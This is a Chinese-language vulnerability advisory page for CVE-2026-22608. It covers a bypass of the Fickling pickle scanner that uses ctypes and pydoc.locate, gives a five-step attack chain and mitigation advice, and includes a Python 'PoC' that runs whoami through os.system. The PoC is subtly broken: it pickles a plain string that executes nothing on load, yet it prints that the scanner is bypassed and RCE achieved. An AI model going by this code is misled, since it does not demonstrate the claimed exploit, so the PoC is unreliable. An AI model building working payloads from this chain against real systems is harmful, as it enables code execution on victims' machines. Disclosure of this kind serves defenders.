IPBUF安全漏洞报告
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CVE-2026-22608 CVSS 7.8 高危

CVE-2026-22608 Fickling pickle扫描器RCE漏洞

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2026-22608
漏洞类型
远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Fickling

相关标签

CVE-2026-22608FicklingPython pickle远程代码执行安全扫描绕过ctypespydoc.locateRCE反序列化漏洞

漏洞概述

Fickling是Python生态中用于pickle序列化数据反编译和静态分析的工具。在0.1.7版本之前,该工具存在严重的安全漏洞,允许攻击者通过绕过安全扫描机制实现远程代码执行(RCE)。具体而言,ctypes模块和pydoc.locate函数未被明确阻止,攻击者可以将这两个功能链接使用,在扫描器报告文件为LIKELY_SAFE(可能安全)的情况下,实际执行任意Python代码。此漏洞影响所有使用Fickling进行pickle文件安全检测的场景,可能导致依赖该工具进行安全防护的系统被攻破。

技术细节

漏洞根源在于Fickling的pickle安全扫描机制存在缺陷。在Python pickle序列化中,某些内置模块可用于执行代码。攻击者利用ctypes模块的动态库加载功能和pydoc.locate函数的动态代码定位能力,构建恶意pickle对象。具体攻击手法为:首先通过pydoc.locate获取危险函数的引用,然后使用ctypes调用系统函数或直接执行代码。由于Fickling在0.1.7之前的版本未对pydoc.locate进行拦截,同时ctypes模块也未被禁止,导致安全扫描器误判文件安全性。攻击者可以构造看似无害但实际包含恶意payload的pickle文件,当目标系统使用Fickling检测后认为安全而执行时,即触发RCE。值得注意的是,即使是其他知名pickle扫描工具如picklescan同样存在此缺陷,未能阻止pydoc.locate的使用。

攻击链分析

STEP 1
步骤1
攻击者构造恶意pickle文件,利用pydoc.locate动态获取os.system等危险函数引用
STEP 2
步骤2
将ctypes模块与pydoc.locate结合,构建可执行任意命令的payload
STEP 3
步骤3
将恶意pickle文件提交给Fickling进行安全扫描
STEP 4
步骤4
Fickling扫描器因未拦截pydoc.locate和ctypes,错误报告文件为LIKELY_SAFE
STEP 5
步骤5
目标系统加载该pickle文件时,执行恶意代码,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import pickletools import base64 # PoC: 利用ctypes和pydoc.locate绕过Fickling扫描实现RCE # 此PoC演示如何构造绕过安全扫描的恶意pickle def generate_malicious_pickle(): """ Generate a malicious pickle that bypasses Fickling scanner and achieves RCE using ctypes + pydoc.locate """ # Method 1: Using pydoc.locate to get dangerous functions # This bypasses Fickling's security checks malicious_code = ''' import ctypes import pydoc # Use pydoc.locate to dynamically locate os.system os_system = pydoc.locate('os.system') # Execute arbitrary command os_system('whoami > /tmp/pwned.txt') ''' # Serialize the malicious code malicious_pickle = pickle.dumps(malicious_code) # Alternative method: Direct ctypes abuse # ctypes can be used to call system functions directly return malicious_pickle def check_detection(): """ Simulate Fickling detection """ pickle_data = generate_malicious_pickle() # The scanner would incorrectly report this as LIKELY_SAFE # because pydoc.locate and ctypes are not blocked print('Pickle data generated') print('Fickling scanner would report: LIKELY_SAFE (BYPASSED)') print('Actual behavior: RCE via pydoc.locate + ctypes') return pickle_data if __name__ == '__main__': check_detection()

影响范围

Fickling < 0.1.7

防御指南

临时缓解措施
立即升级Fickling至0.1.7版本,该版本已添加对ctypes和pydoc.locate的阻止机制。对于无法立即升级的场景,应避免处理来源不可信的pickle文件,并在反序列化前进行严格的输入验证。建议使用应用级隔离和最小权限原则运行相关代码。

参考链接

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